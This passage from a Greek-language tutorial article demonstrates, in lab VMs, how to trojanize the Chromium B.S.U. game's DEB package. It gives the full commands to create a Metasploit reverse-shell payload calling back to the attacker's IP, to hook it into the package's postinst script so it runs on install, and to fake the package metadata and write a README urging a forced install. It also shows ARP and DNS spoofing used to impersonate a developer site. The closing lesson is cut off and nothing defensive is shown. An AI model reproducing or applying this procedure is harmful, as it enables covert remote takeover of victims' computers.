Το προφίλ μας στο Google Plus
1

Ένα Trojan horse για το Linux!

Για καμιά εβδομηνταριά περίπου χιλιάδες λόγους, το Linux θεωρείται ασφαλέστερο λειτουργικό από τα Windows. Αν και σ’ ένα μεγάλο βαθμό αληθής κι επαληθεύσιμη από την πραγματικότητα, η συγκεκριμένη θεώρηση συχνά οδηγεί στο αυθαίρετο συμπέρασμα ότι πρακτικά το Linux είναι 100% ασφαλές. Κατά συνέπεια, αρκετοί χρήστες και φανατικοί οπαδοί του λειτουργικού δεν αισθάνονται καμία ιδιαίτερη ανάγκη να παίρνουν μέτρα προστασίας υπέρ του Linux box τους. Το ίδιο επιπόλαιη είναι και η συμπεριφορά τους. Πολύ κακώς.

Κακά τα ψέμματα. Οι υπεύθυνοι ασφαλείας συστημάτων και δικτύων ξέρουν να κάνουν καλά τη δουλειά τους και να προστατεύουν μεμονωμένους χρήστες – φυσικά κι ολόκληρα δίκτυα. Ακριβώς γι’ αυτό το λόγο οι επιτιθέμενοι σήμερα συχνά καταφεύγουν στα λεγόμενα client side attacks, όπου ουσιαστικά επιχειρούν να πείσουν κάποιον χρήστη να τους δώσει πρόσβαση στο σύστημά του. Κι όποτε καταφέρνουν και παίρνουν πρόσβαση σ’ ένα μεμονωμένο box, η άλωση ολόκληρου του τοπικού δικτύου μέσα στο οποίο ανήκει δεν αργεί να έρθει. Σημειώστε εδώ ότι τα client side attacks δεν εκμεταλλεύονται κάποια αδυναμία του συστήματος-στόχου, αφού ουσιαστικά ο ίδιος ο χρήστης του συστήματος τα εκτελεί! Μ’ άλλα λόγια, ένα client side attack δεν είναι κατ’ ανάγκη 0-day. Επιπρόσθετα, αν και οι επιθέσεις του είδους επικεντρώνονται σε χρήστες Windows -άλλωστε αποτελούν την πολυπληθέστερη ομάδα επομένως ο attacker έχει περισσότερες πιθανότητες επιτυχίας στοχεύοντάς τους-, client side attacks υπάρχουν ακόμα και για συστήματα Linux. Θα μπορούσε μάλιστα κάποιος να ισχυριστεί ότι ακριβώς εξαιτίας του εφησυχασμού που διακατέχει τους χρήστες του Linux, οι πιθανότητες για μια επιτυχημένη επίθεση είναι καλές.

Στο παρόν άρθρο θα δείξουμε πώς είναι δυνατόν να φυτευτεί ένα Trojan horse σ’ ένα απομακρυσμένο Ubuntu box, παρέχοντας root shell στον attacker. Μάλιστα το Trojan θα ‘ναι καμουφλαρισμένο μέσα σ’ ένα ωραιότατο DEB file ενός εντυπωσιακού scrolling space shooter, το οποίο το θύμα δεν θα ‘χει κάποιον ιδιαίτερο λόγο να *μην* εγκαταστήσει ;)

Εικόνα 1. Το Chromium B.S.U. είν' ένα διασκεδαστικό, scrolling space shooter που διατίθεται *και* για το Linux σας! Αν δεν το 'χετε ήδη εγκατεστημένο τρέξτε και βάλτε το τώρα. Χμ, εντάξει, καλύτερα να μη βιαστείτε *τόσο* πολύ. Βεβαιωθείτε πρώτα ότι το προμηθευτήκατε από κάποια γνωστή, έγκυρη πηγή. Εδώ που τα λέμε, το ίδιο να κάνετε και για οτιδήποτε άλλο εγκαθιστάτε, όποιο κι αν είναι το λειτουργικό σύστημα που χρησιμοποιείτε. Διαφορετικά πολλά περίεργα πράγματα ενδέχεται να συμβούν - και το χειρότερο είναι ότι τα πλέον επικίνδυνα απ' αυτά δεν θα τα πάρετε καν είδηση :S

Το setup του σεναρίου μας
Όπως πάντα δουλεύουμε σε εικονικό περιβάλλον, μιας και σκοπός μας είναι η γνώση – κι εν προκειμένω η αφύπνιση. Αναλυτικότερα, ο επιτιθέμενος βρίσκεται σε VM (virtual machine) με BackTrack Linux 4 R2 Nemesis, ενώ το θύμα σε VM με Ubuntu 10.10 Maverick Meerkat. Και τα δύο λειτουργικά συστήματα είναι αρχιτεκτονικής 32bit, πλήρως αναβαθμισμένα και βρίσκονται στο ίδιο LAN. Πάντα στα πλαίσια του παραδείγματός μας, για τις διευθύνσεις IP των εμπλεκομένων VMs και του (εικονικού) gateway ισχύουν τα ακόλουθα:

gateway	    --> 192.168.64.2
attacker 	--> 192.168.64.131
victim 	    --> 192.168.64.150

Πριν περάσουμε στην πράξη να σημειώσουμε ότι το σενάριο είναι εύκολο να υλοποιηθεί ακόμα κι όταν attacker και victim βρίσκονται σε διαφορετικά δίκτυα. Σε μια τέτοια περίπτωση, σε σύγκριση μ’ όσα περιγράφουμε ακολούθως εντοπίζονται φυσικά ορισμένες διαφορές. Οι λεπτομέρειες ωστόσο αφήνονται ως άσκηση στον ενδιαφερόμενο αναγνώστη. Αν αποφασίσετε να την κάνετε, πριν ξεκινήσετε θα πρέπει να ενημερώσετε κάποιον φίλο σας εξηγώντας του τι ακριβώς θέλετε να πετύχετε και φυσικά να ζητήσετε τη βοήθειά του. Στο τέλος του άρθρου, εξάλλου, κάνουμε μια σύντομη συζήτηση και παραθέτουμε μια πηγή με πληροφορίες γύρω από το τι μπορεί -και κυρίως τι πρέπει- να κάνει ένας φίλος του Linux ή οποιουδήποτε άλλου λειτουργικού που δεν θα ‘θελε ποτέ να βρεθεί στη θέση του θύματος.

Και Δούρειος και καμουφλαρισμένος
Πριν δούμε αναλυτικά τα βήματα της επίθεσης ξεκινάμε το BackTrack VM, κάνουμε login στο λογαριασμό του root, φροντίζουμε ώστε η δικτύωση να ‘ναι ενεργοποιημένη

root@bt:~# start-network

σηκώνουμε το περιβάλλον γραφικών

root@bt:~# startx

ανοίγουμε μια κονσόλα κι αναβαθμίζουμε το λειτουργικό:

root@bt:~# apt-get update
Hit http://archive.offensive-security.com pwnsauce Release.gpg
Hit http://archive.offensive-security.com pwnsauce Release
Hit http://archive.offensive-security.com pwnsauce/main Packages
Hit http://archive.offensive-security.com pwnsauce/microverse Packages
Hit http://archive.offensive-security.com pwnsauce/macroverse Packages
Hit http://archive.offensive-security.com pwnsauce/restricted Packages
Hit http://archive.offensive-security.com pwnsauce/universe Packages
Hit http://archive.offensive-security.com pwnsauce/multiverse Packages
Reading package lists... Done
root@bt:~# apt-get upgrade
...

Δεν βλάπτει ν’ αναβαθμίσουμε και το Metasploit, αφού ούτως ή άλλως σε λίγο θα καταφύγουμε στις υπηρεσίες του:

root@bt:~# cd /pentest/exploits/framework3/
root@bt:/pentest/exploits/framework3# ./msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]
...
Updated to revision 11581.

Περνάμε τώρα στην επίθεση αυτή καθ’ αυτή.

Βήμα 1. Θα βάλουμε το Trojan μας μέσα στο DEB file ενός διασκεδαστικού scrolling space shooter, του Chromium B.S.U. Αρχικά κατεβάζουμε το επίσημο DEB από τα repos του BackTrack:

root@bt:~# apt-get --download-only --assume-yes install chromium
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  chromium-data libalut0 libdirectfb-1.0-0 libftgl2 libglpng libopenal1 libsdl1.2debian libsdl1.2debian-alsa libts-0.0-0 ttf-uralic
The following NEW packages will be installed:
  chromium chromium-data libalut0 libdirectfb-1.0-0 libftgl2 libglpng libopenal1 libsdl1.2debian libsdl1.2debian-alsa libts-0.0-0
  ttf-uralic
0 upgraded, 11 newly installed, 0 to remove and 0 not upgraded.
Need to get 3148kB of archives.
After this operation, 7000kB of additional disk space will be used.
...
Fetched 3148kB in 3s (829kB/s)
Download complete and in download only mode
root@bt:~#

Επειδή θέλουμε να κατεβάσουμε κι όχι να εγκαταστήσουμε το Chromium B.S.U., δώσαμε στο apt-get την παράμετρο –download-only. Το παιχνίδι εξάλλου έχει ορισμένα dependencies. Χρειάζονται μ’ άλλα λόγια και κάποια πρόσθετα DEB files που πρέπει να κατέβουν (κι αναλόγως να εγκατασταθούν) μαζί με το Chromium B.S.U. Αφού ούτως ή άλλως θ’ απαντούσαμε καταφατικά στη σχετική ερώτηση του apt-get, ακριβώς γι’ αυτό του δώσαμε από την αρχή την παράμετρο –assume-yes. Γενικά, τα DEB files που κατεβάζει το apt-get αποθηκεύονται στον κατάλογο /var/cache/apt/archives:

root@bt:~# ls -lh /var/cache/apt/archives/
total 26M
...
-rw-r--r-- 1 root root 1.2M Apr 18  2009 chromium-data_0.9.13.1-1_all.deb
-rw-r--r-- 1 root root 108K Apr 18  2009 chromium_0.9.13.1-1_i386.deb
-rw-r--r-- 1 root root  32K Apr 18  2009 libalut0_1.1.0-1build1_i386.deb
...
-rw-r----- 1 root root    0 May 10  2009 lock
drwxr-xr-x 2 root root 4.0K Jan 14 12:53 partial
...

Το μόνο που χρειαζόμαστε απ’ αυτόν τον κατάλογο είναι το chromium_0.9.13.1-1_i386.deb. Το αντιγράφουμε λοιπόν στον προσωπικό κατάλογο του χρήστη root:

root@bt:~# cd
root@bt:~# mv /var/cache/apt/archives/chromium_0.9.13.1-1_i386.deb .

Βήμα 2. Φτιάχνουμε έναν προσωρινό κατάλογο εργασίας

root@bt:~# mkdir temp

και με το εργαλείο ar αποσυμπιέζουμε το αρχείο DEB με το Chromium B.S.U. (δώστε man ar για περισσότερες πληροφορίες):

root@bt:~# ar xv chromium_0.9.13.1-1_i386.deb
x - debian-binary
x - control.tar.gz
x - data.tar.gz

Όπως μπορείτε να δείτε, τα DEB files αποτελούνται από επιμέρους archives. Κάντε εδώ αν θέλετε ένα σύντομο διάλειμμα και διαβάστε για το αντίστοιχο file format στο σχετικό άρθρο της Wikipedia.

Βήμα 3. Αλλάζουμε μέσα στον κατάλογο temp κι εκεί αποσυμπιέζουμε τα περιεχόμενα του αρχείου data.tar.gz, που μας έδωσε το εργαλείο ar στο προηγούμενο βήμα:

root@bt:~# cd temp
root@bt:~/temp# tar zxvf ../data.tar.gz
./
./usr/
./usr/games/
./usr/games/chromium
./usr/share/
./usr/share/man/
./usr/share/man/man6/
./usr/share/man/man6/chromium.6.gz
./usr/share/applications/
./usr/share/applications/chromium.desktop
./usr/share/pixmaps/
./usr/share/pixmaps/chromium.png
./usr/share/pixmaps/chromium.xpm
./usr/share/doc/
./usr/share/doc/chromium/
./usr/share/doc/chromium/AUTHORS
./usr/share/doc/chromium/copyright
./usr/share/doc/chromium/NEWS.gz
./usr/share/doc/chromium/changelog.Debian.gz
./usr/share/menu/
./usr/share/menu/chromium

Πλέον, κάτω από τον κατάλογο temp έχουμε όλη η δομή αρχείων και καταλόγων που δημιουργούνται μετά την εγκατάσταση του Chromium B.S.U. Φτιάχνουμε τώρα μέσα στον temp κι έναν κατάλογο με όνομα DEBIAN, αλλάζουμε σ’ αυτόν κι αποσυμπιέζουμε εκεί τα περιεχόμενα του αρχείου control.tar.gz, που πήραμε πριν λίγο από το ar:

root@bt:~/temp# mkdir DEBIAN
root@bt:~/temp# cd DEBIAN
root@bt:~/temp/DEBIAN# tar zxvf ../../control.tar.gz
./
./postinst
./postrm
./md5sums
./control

Από τα τέσσερα αρχεία που μόλις δημιουργήθηκαν *δεν* θα χρειαστούμε τα postrm και md5sums, επομένως τα διαγράφουμε:

root@bt:~/temp/DEBIAN# rm md5sums postrm

Βήμα 4. Το αρχείο control μεταξύ άλλων περιλαμβάνει μια σύντομη περιγραφή για το περιεχόμενο του DEB file. Δεν είναι υποχρεωτικό να το τροποποιήσουμε, όμως για λόγους που αφορούν στην κοινωνική μηχανική αξίζει να το κάνουμε. Πιο συγκεκριμένα, δείτε τι περιέχει το πρωτότυπο αρχείο control:

root@bt:~/temp/DEBIAN# cat control
Package: chromium
Version: 0.9.13.1-1
Architecture: i386
Maintainer: Ubuntu MOTU Developers <ubuntu-motu@lists.ubuntu.com>
Original-Maintainer: Debian Games Team <pkg-games-devel@lists.alioth.debian.org>
Installed-Size: 420
Depends: libalut0 (>= 1.1.0-1), libc6 (>= 2.4), libfontconfig1 (>= 2.4.0), libftgl2 (>= 2.1.3~rc5), libgcc1 (>= 1:4.1.1), libgl1-mesa-glx | libgl1, libglpng, libglu1-mesa | libglu1, libopenal1 (>= 1:1.3.253), libsdl1.2debian (>= 1.2.10-1), libstdc++6 (>= 4.1.1), chromium-data (>= 0.9.12), ttf-uralic
Section: games
Priority: optional
Homepage: http://chromium-bsu.sourceforge.net/
Description: fast paced, arcade-style, scrolling space shooter
 Chromium is a top down fast paced high action scrolling space shooter
 which uses the SDL libs. In this game you are the captain of the
 cargo  ship Chromium B.S.U., and responsible for
 delivering supplies to our troops on the front line. Your ship
 has a small fleet of robotic fighters which you control from the
 relative safety of the Chromium vessel.

Μπορούμε τώρα εμείς να το ανοίξουμε μ’ έναν text editor (π.χ., το nano) και στο τέλος της περιγραφής να κάνουμε μια μικρή προσθήκη:

Description: fast paced, arcade-style, scrolling space shooter
 Chromium is a top down fast paced high action scrolling space shooter
 which uses the SDL libs. In this game you are the captain of the
 cargo  ship Chromium B.S.U., and responsible for
 delivering supplies to our troops on the front line. Your ship
 has a small fleet of robotic fighters which you control from the
 relative safety of the Chromium vessel. WARNING: This is the first
 beta release of the upcoming version of Chromium. It sports improved
 graphics, has smoother multi-directional scrolling, offers some new
 super-weapons and introduces a slew of leaner, meaner opponents.
 Have fun!

Αν δεν υποψιάζεστε ήδη γιατί μπήκαμε στον κόπο να εμπλουτίσουμε την περιγραφή, κάντε λίγη υπομονή και σε λίγο θα καταλάβετε. Μια άλλη αλλαγή που αξίζει να κάνουμε στο control είναι στη γραμμή που πληροφορεί για την έκδοση του DEB. Για παράδειγμα, εμείς την αλλάξαμε από

Version: 0.9.13.1-1

σε

Version: 1.0beta1

Εκτός από το αρχείο control, στον κατάλογο DEBIAN έχουμε κρατήσει και το αρχείο postinst. Είναι υποχρεωτικό να το τροποποιήσουμε, αλλά θα το κάνουμε σε λίγο.

Βήμα 5. Θα φτιάξουμε τώρα με τη βοήθεια του Metasploit ένα payload ή αλλιώς shell code, το οποίο δίνει στον attacker απομακρυσμένη πρόσβαση στο μηχάνημα όπου εκτελείται. Στόχος μας είναι να βάλουμε το payload μέσα στο νέο DEB file με το Chromium B.S.U., που θα φτιάξουμε σε λίγο. Ας δημιουργήσουμε πρώτα το payload:

root@bt:~/temp/DEBIAN# /pentest/exploits/framework3/msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.64.131 LPORT=443 X > /root/temp/usr/games/chromiumbsu
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
 Length: 50
Options: LHOST=192.168.64.131,LPORT=443
root@bt:~/temp/DEBIAN#

Ό,τι κάναμε μόλις αξίζει μια αναλυτικότερη εξήγηση:
— Το πρόγραμμα msfpayload μας δίνει όποιο payload θέλουμε, εννοείται από τα διαθέσιμα του Metasploit και φυσικά προρυθμισμένο με τις επιθυμητές παραμέτρους.
— Εμείς του ζητήσαμε το linux/x86/shell/reverse_tcp, για συστήματα Linux αρχιτεκτονικής 32bit, το οποίο όταν εκτελείται συνδέεται στο μηχάνημα με…
— …IP 192.168.64.131 (παράμετρος LHOST) και συγκεκριμένα στο…
— …port 443 (παράμετρος LPORT), παρέχοντας στον attacker ένα πλήρες command shell στο απομακρυσμένο μηχάνημα.
— Το payload θέλουμε να ‘ναι ένα Linux executable, γι’ αυτό και δώσαμε την οδηγία “X” στο msfpayload.
— Τέλος, το εκτελέσιμο payload θέλουμε να ονομαστεί chromiumbsu και ν’ αποθηκευτεί στον κατάλογο /root/temp/usr/games.

Πριν προχωρήσουμε στο επόμενο βήμα φροντίζουμε ώστε το chromiumbsu να ‘χει τα execute bits ενεργοποιημένα:

root@bt:~/temp/DEBIAN# chmod 755 /root/temp/usr/games/chromiumbsu

Βήμα 6. Θ’ αλλάξουμε τώρα το περιεχόμενο του αρχείου postinst. Όπως ίσως υποδηλώνει και τ’ όνομά του, πρόκειται για ένα script που εκτελείται αυτόματα μετά την εγκατάσταση του DEB file και φροντίζει για τη διευθέτηση ζητημάτων που καθορίζει ο δημιουργός του DEB. Ένα παράδειγμα είναι η εισαγωγή ενός η περισσοτέρων entries στο κατάλληλο μενού του περιβάλλοντος γραφικών. Νομίζουμε ότι πλέον είναι φανερό γιατί τροποποιούμε το postinst: Μετά την εγκατάσταση του DEB θέλουμε να εκτελεστεί *αυτόματα* το payload που φτιάξαμε στο προηγούμενο βήμα (κι ονομάσαμε chromiumbsu). Ανοίγουμε λοιπόν το postinst μ’ έναν text editor και στο τέλος του κάνουμε την τονισμένη γραμμή:

#!/bin/sh
set -e
# Automatically added by dh_installmenu
if [ "$1" = "configure" ] && [ -x "`which update-menus 2>/dev/null`" ]; then
        update-menus
fi
# End automatically added section
/usr/games/chromiumbsu &

Βήμα 7. Είναι ώρα να φτιάξουμε το νέο, πειραγμένο DEB file του παιχνιδιού. Αλλάζουμε στον κατάλογο ένα επίπεδο πάνω από τον temp

root@bt:~/temp/DEBIAN# cd ../../
root@bt:~# ls -lh
total 240K
-rw-r--r-- 1 root root 108K Apr 18  2009 chromium_0.9.13.1-1_i386.deb
-rw-r--r-- 1 root root 1.3K Jan 15 10:13 control.tar.gz
-rw-r--r-- 1 root root 107K Jan 15 10:13 data.tar.gz
-rw-r--r-- 1 root root    4 Jan 15 10:13 debian-binary
drwxr-xr-x 4 root root 4.0K Jan 15 11:32 temp

και δημιουργούμε το νέο DEB πληκτρολογώντας

root@bt:~# dpkg-deb --build temp
warning, `temp/DEBIAN/control' contains user-defined field `Original-Maintainer'
dpkg-deb: building package `chromium' in `temp.deb'.
dpkg-deb: ignoring 1 warnings about the control file(s)
root@bt:~#

Έχουμε πλέον το αρχείο temp.deb. Τ’ όνομά του δεν είναι ιδιαίτερα ενδεικτικό του περιεχομένου του, γι’ αυτό και το μετονομάζουμε καταλλήλως:

root@bt:~# mv temp.deb chromiumbsu_1.0beta1_i386.deb

Στο σημείο αυτό έχουμε ένα ωραιότατο DEB file του παιχνιδιού Chromium B.S.U., το οποίο μέσα του φέρει το payload μας! Δεν υπάρχει τίποτε ύποπτο γύρω από το DEB. Ορίστε και μερικές πληροφορίες τις οποίες ο ενδιαφερόμενος χρήστης είναι σε θέση να δει πριν ακόμα το εγκαταστήσει:

root@bt:~# dpkg -I chromiumbsu_1.0beta1_i386.deb
 new debian package, version 2.0.
 size 109654 bytes: control archive= 1027 bytes.
    1268 bytes,    21 lines      control
     185 bytes,     7 lines   *  postinst             #!/bin/sh
 Package: chromium
 Version: 1.0beta1
 Architecture: i386
 Maintainer: Ubuntu MOTU Developers <ubuntu-motu@lists.ubuntu.com>
 Original-Maintainer: Debian Games Team <pkg-games-devel@lists.alioth.debian.org>
 Installed-Size: 420
 Depends: libalut0 (>= 1.1.0-1), libc6 (>= 2.4), libfontconfig1 (>= 2.4.0), libftgl2 (>= 2.1.3~rc5), libgcc1 (>= 1:4.1.1), libgl1-mesa-glx | libgl1, libglpng, libglu1-mesa | libglu1, libopenal1 (>= 1:1.3.253), libsdl1.2debian (>= 1.2.10-1), libstdc++6 (>= 4.1.1), chromium-data (>= 0.9.12), ttf-uralic
 Section: games
 Priority: optional
 Homepage: http://chromium-bsu.sourceforge.net/
 Description: fast paced, arcade-style, scrolling space shooter
  Chromium is a top down fast paced high action scrolling space shooter
  which uses the SDL libs. In this game you are the captain of the
  cargo  ship Chromium B.S.U., and responsible for
  delivering supplies to our troops on the front line. Your ship
  has a small fleet of robotic fighters which you control from the
  relative safety of the Chromium vessel. WARNING: This is the first
  beta release of the upcoming version of Chromium. It sports improved
  graphics, has smoother multi-directional scrolling, offers some new
  super-weapons and introduces a slew of leaner, meaner opponents.
  Have fun!

Βήμα 8. Θέλουμε τώρα το υποψήφιο θύμα να πάρει, με κάποιο τρόπο, το αρχείο chromiumbsu_1.0beta1_i386.deb και να το εγκαταστήσει στο Ubuntu box του. Προς τούτο, θα στήσουμε κατ’ αρχάς έναν μικρό δικτυακό τόπο, ο οποίος υποτίθεται ότι είναι εκείνος που χρησιμοποιεί ο developer του παιχνιδιού για να το δίνει σε beta testers. Μην ξεχνάτε ότι σύμφωνα μ’ όσα προσθέσαμε στην περιγραφή του αρχείου control, η νέα, βελτιωμένη έκδοση του παιχνιδιού είναι ακόμα σε φάση beta :D

Φτιάχνουμε μέσα στον κατάλογο /var/www έναν καινούργιο με όνομα chromiumbsu κι αντιγράφουμε εκεί το αρχείο chromiumbsu_1.0beta1_i386.deb:

root@bt:~# mkdir /var/www/chromiumbsu
root@bt:~# cp chromiumbsu_1.0beta1_i386.deb /var/www/chromiumbsu


Αμέσως μετά ξεκινάμε τον Apache web server του BackTrack:


root@bt:~# /etc/init.d/apache2 start
Starting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName

Αν αυτή τη στιγμή επισκεφτεί κάποιος τη διεύθυνση

http://192.168.64.131/chromiumbsu

με τον browser του, θα δει κάτι σαν την εικόνα 2 και φυσικά θα ‘ναι σε θέση να κατεβάσει το DEB file. Βεβαίως, ακόμα κι ένας χθεσινός κοινωνικός μηχανικός δεν πρόκειται να στείλει τα θύματά του σ’ αυτό το URL – όχι πριν κάνει ορισμένες προσθήκες κι αλλαγές.

Εικόνα 2. Να ένα site για να κατεβάσετε το Chromium B.S.U. Δεν μοιάζει και πολύ έμπιστο, ε; Δεν έχετε άδικο... Είναι βλέπετε κι αυτό το αριθμητικό URL, που μόνο κόκκινο συναγερμό δεν βαράει!

Προκειμένου το directory να δείχνει περισσότερο έγκυρο, είναι πολύ πιθανό να προσθέσει ένα μικρό αρχείο με οδηγίες εγκατάστασης για το DEB. Εμείς, π.χ., ως χθεσινοί κοινωνικοί μηχανικοί, φτιάξαμε μέσα στο /var/www/chromiumbsu ένα αρχείο κειμένου με όνομα README.1st και τα ακόλουθα περιεχόμενα:

Due to some false alarms with a number of supposedly unmet
dependencies, please force-install this beta by first becoming
root and then typing

dpkg --force-all -i chromiumbsu_1.0beta1_i386.deb

If you're on Ubuntu a simple

sudo dpkg --force-all -i chromiumbsu_1.0beta1_i386.deb

would do the trick. Enjoy shooting down some alien mofo's
and please report any bugs you may encounter!

Πλέον, ο υποψήφιος downloader της beta του παιχνιδιού θα βλέπει κάτι σαν την εικόνα 3. Υπάρχει μια κάποια βελτίωση σε σχέση με πριν, όμως το URL παραμένει ύποπτο :S

Εικόνα 3. Κάπως καλύτερα. Πέρα από το DEB file τώρα υπάρχει και το README.1st, με οδηγίες εγκατάστασης. Όμως αυτό το αριθμητικό URL στη μπάρα διευθύνσεων και στο μήνυμα του Apache εξακολουθεί να βγάζει μάτι, βρε παιδί μου...

Βήμα 9. Προκειμένου το URL που θα δώσουμε σε λίγο στο υποψήφιο θύμα να ‘ναι περισσότερο πειστικό, θα καταφύγουμε στις τεχνικές των ARP και DNS spoofing. Θα χρειαστούμε τα εργαλεία του πακέτου dsniff, γι’ αυτό αν δεν βρίσκεται ήδη στο BackTrack μας το εγκαθιστούμε ευθύς αμέσως πληκτρολογώντας, απλά

root@bt:~# apt-get install dsniff
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  dsniff
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 117kB of archives.
After this operation, 397kB of additional disk space will be used.
Get:1 http://archive.offensive-security.com pwnsauce/universe dsniff 2.4b1+debian-17ubuntu1 [117kB]
Fetched 117kB in 1s (83.2kB/s)
Selecting previously deselected package dsniff.
(Reading database ... 256283 files and directories currently installed.)
Unpacking dsniff (from .../dsniff_2.4b1+debian-17ubuntu1_i386.deb) ...
Processing triggers for man-db ...
Setting up dsniff (2.4b1+debian-17ubuntu1) ...

Σε ένα νέο παράθυρο τερματικού ξεκινάμε το ARP spoofing γράφοντας

root@bt:~# arpspoof -i eth0 -t 192.168.64.150 192.168.64.2
0:c:29:93:26:40 0:c:29:f0:ed:4a 0806 42: arp reply 192.168.64.2 is-at 0:c:29:93:26:40
...

όπου, όπως αναφέραμε στην αρχή του άρθρου, το 192.168.64.150 είναι το IP του VM που βρίσκεται ο στόχος και το 192.168.64.2 είναι το IP του (εικονικού) gateway. Στην πράξη, μετά το παραπάνω όλη η δικτυακή κίνηση του θύματος διέρχεται από το μηχάνημα του επιτιθέμενου. Εννοείται ότι δεν κλείνουμε την κονσόλα του arpspoof και συνεχίζουμε να δουλεύουμε από ένα νέο παράθυρο τερματικού. Θέλουμε να παρασύρουμε το θύμα στον τοπικό web server του BackTrack, χωρίς ωστόσο να του παρακινήσουμε υποψίες. Γι’ αυτό, αντί να του στείλουμε το URL

http://192.168.64.131/chromiumbsu

θα τον προσκαλέσουμε στο

http://dev.chromium.net/chromiumbsu

Προφανώς, στο dev.chromium.net πρέπει τώρα ν’ αντιστοιχίσουμε το 192.168.64.131 και για να το πετύχουμε θα καταφύγουμε στις υπηρεσίες του εργαλείου arpspoof. Αναλυτικότερα, φτιάχνουμε στο home directory του root ένα αρχείο μ’ όνομα mydns και περιεχόμενο την ακόλουθη γραμμή και μόνο:

192.168.64.131  dev.chromium.net

Αμέσως μετά ξεκινάμε το DNS spoofing:

root@bt:~# dnsspoof -i eth0 -f /root/mydns
dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.64.131]

Πλέον, όταν το υποψήφιο θύμα επισκεφτεί το URL

http://dev.chromium.net/chromiumbsu

θα δει τη σελίδα που σερβίρει ο web server του BackTrack, με το DEB file και το ωραιότατο README.1st.

Εικόνα 4. Το υποψήφιο θύμα πείθεται κι επισκέπτεται τη διεύθυνση http://dev.chromium.net/chromiumbsu, προκειμένου να κατεβάσει την beta της καινούργιας version του Chromium B.S.U. Δεν υπάρχει τίποτε που να θορυβεί σ' αυτή τη σελίδα, όλα μια χαρά δείχνουν...

Βήμα 10. Πριν παρακινήσουμε το θύμα να κατεβάσει και να εγκαταστήσει το chromiumbsu_1.0beta1_i386.deb από τον web server του BackTrack, πρέπει να πούμε στο Metasploit να περιμένει για σύνδεση από το payload που επιχειρούμε να τρέξουμε στο απομακρυσμένο μηχάνημα. Σε μια νέα κονσόλα πληκτρολογούμε:

root@bt:~# /pentest/exploits/framework3/msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.64.131 LPORT=443 E
[*] Please wait while we load the module tree...

       =[ metasploit v3.6.0-dev [core:3.6 api:1.0]
+ -- --=[ 642 exploits - 323 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11581 updated today (2011.01.15)

PAYLOAD => linux/x86/shell/reverse_tcp
LHOST => 192.168.64.131
LPORT => 443
[*] Started reverse handler on 192.168.64.131:443
[*] Starting the payload handler...

Τέλεια. Μένει τώρα να πείσουμε το υποψήφιο θύμα, π.χ., μέσω mail ή instant messaging, να πάει στην τοποθεσία http://dev.chromium.net/chromiumbsu, να κατεβάσει το αρχείο chromiumbsu_1.0beta1_i386.deb και φυσικά να το εγκαταστήσει, σύμφωνα και με τις οδηγίες που παρέχονται από το README.1st. Το πώς ακριβώς θα πετύχουμε όλα αυτά εξαρτάται από το πόσο καλά γνωρίζουμε το στόχο μας και φυσικά από τις ικανότητές μας στην κοινωνική μηχανική. Αν τελικά τα καταφέρουμε και το θύμα πάει στην προαναφερθείσα διεύθυνση, θα δει κάτι σαν την εικόνα 4. Όπως βλέπετε, δεν υπάρχει τίποτε το περίεργο σ’ αυτή. Μετά τη λήψη κι εγκατάσταση του chromiumbsu_1.0beta1_i386.deb, στην κονσόλα του BackTrack VM όπου τρέξαμε το msfcli θα δούμε κάτι που μοιάζει με την εικόνα 7. Δεν νομίζουμε ότι χωράει αμφιβολία ότι το απομακρυσμένο Ubuntu box είναι pwned!

Εικόνα 5. Πριν το θύμα εγκαταστήσει το chromiumbsu_1.0beta1_i386.deb που μόλις κατέβασε, σκέφτεται να πάρει μερικές πληροφορίες για το αρχείο. Χρησιμοποιεί για το σκοπό αυτό το εργαλείο dpkg με την παράμετρο -I. Τίποτε απ' όσα βλέπει δεν βρίσκει παράξενο.

Εικόνα 6. Το υποψήφιο θύμα, που σε ελάχιστα δευτερόλεπτα θα πάψει να 'ναι υποψήφιο, εγκαθιστά το chromiumbsu_1.0beta1_i386.deb με χρήση του εργαλείου dpkg και σύμφωνα με τις οδηγίες στο README.1st. Οι προειδοποιήσεις που βλέπει στην κονσόλα του είναι αναμενόμενες γι' αυτή τη beta. Το λέει εξάλλου και στο README.1st. Αυτό που δεν λέει είναι ότι το DEB έρχεται μ' ένα malicious payload το οποίο, παρεμπιπτόντως, εκτελείται αυτόματα αμέσως μετά την εγκατάσταση του DEB.

Εικόνα 7. Στιγμές μετά την εγκατάσταση του πειραγμένου DEB file το payload που του 'χαμε βάλει εκτελείται αυτόματα, χάρη στο επίσης πειραγμένο postinst. Ανοίγει έτσι ένα κανάλι επικοινωνίας μεταξύ του Ubuntu box του θύματος (192.168.64.150) και του BackTrack του επιτιθέμενου (192.168.64.131), παρέχοντας στον τελευταίο ένα πλήρες command shell στο απομακρυσμένο μηχάνημα. Ομολογουμένως πρόκειται για ένα λιτό κι απέριττο command shell, ούτε καν ένα prompt δεν παρέχει. Καθόλου δεν πειράζει. Μέσα απ' αυτό ο attacker μπορεί να εκτελεί οποιαδήποτε εντολή ή πρόγραμμα θέλει και μάλιστα με δικαιώματα υπερχρήστη (1). Σιγά σιγά αρχίζει να συλλέγει πληροφορίες για το owned box, όπως, π.χ., ακριβή έκδοση λειτουργικού και πυρήνα (2), διαθέσιμοι λογαριασμοί χρηστών (3) κ.ο.κ. Πάντως εδώ που έφτασαν τα πράγματα το πώς θα προχωρήσει και τι ακριβώς θα κάνει δεν έχουν ιδιαίτερη σημασία... :S

Ηθικό δίδαγμα
